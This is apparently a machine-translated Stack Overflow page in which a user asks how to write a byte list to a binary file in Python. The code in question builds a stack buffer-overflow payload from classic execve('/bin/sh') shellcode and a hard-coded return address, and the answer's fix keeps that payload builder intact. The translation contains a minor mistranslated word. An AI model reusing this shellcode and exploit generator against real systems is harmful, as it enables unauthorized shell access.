【问题标题】:How to write byte-list to file Python?如何将字节列表写入文件 Python?
【发布时间】:2017-04-29 16:35:20
【问题描述】:

我有一个要写入二进制文件的字节列表:

这就是我所拥有的:

import struct as st

shellcode = bytearray("\xeb\x1f\x5e\x89\x76\x08\x31"+
     "\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"+
     "\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40"+
     "\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")

def generateexploitmessage(nops, retaddr):
    message = []
    for x in xrange(0,128):
        message += st.pack(">I",retaddr)
    print(message)
    for x in xrange(0,len(shellcode)):
        message[x] = shellcode[x]
    print(message)
    print(len(message))
    return message


def reversebyteorder(arg):
    returnarray = []
    for x in xrange(0,len(arg),4):
        temparray = bytearray(arg[x:x+4])[::-1]
        print temparray
        returnarray += temparray
    return returnarray


def writebytestofile(message):
    f = open("pyexploit.bin",'wb')
    print message 
    f.write(message)
    f.close()


def main():
    print shellcode
    exploit =generateexploitmessage(0,0xbffff614)
    readyexploit = reversebyteorder(exploit)
    writebytestofile(readyexploit)


if __name__ == '__main__':
    main()

我收到的错误消息如下:

Traceback (most recent call last):
  File "generateexploit.py", line 47, in <module>
    main()
  File "generateexploit.py", line 43, in main
    writebytestofile(readyexploit)
  File "generateexploit.py", line 35, in writebytestofile
    f.write(message)
TypeError: argument 1 must be string or buffer, not list

我知道我需要以某种方式将我的列表或我拥有的内容转换为可写格式,但我不知道如何。我试图在我将最终消息写入文件的位置放置一个bytearray(message),但这没有帮助。

【问题讨论】:

    标签: python arrays file


    【解决方案1】:

    机器人generateexploitmessage()reversebyteorder() 生成一个字节(整数)的列表,而不是bytesarray()。在写入之前再次将结果包装在 bytearray() 中:

    f.write(bytearray(message))
    

    或者,坚持生成bytearray更早;这里不需要使用列表:

    def generateexploitmessage(nops, retaddr):
        message = bytearray()
        for x in xrange(128):
            message += st.pack(">I", retaddr)
        message[:len(shellcode)] = shellcode
        return message
    
    def reversebyteorder(arg):
        returnarray = bytearray()
        for x in xrange(0, len(arg), 4):
            temparray = bytearray(arg[x:x + 4])[::-1]
            returnarray += temparray
        return returnarray
    

    【讨论】:

    • 奇怪,前阵子试了一下,还是不行,不过我现在好像有写好的二进制文件了,一会儿接受你的回答
    猜你喜欢
    • 1970-01-01
    • 2020-04-20
    • 2014-06-27
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多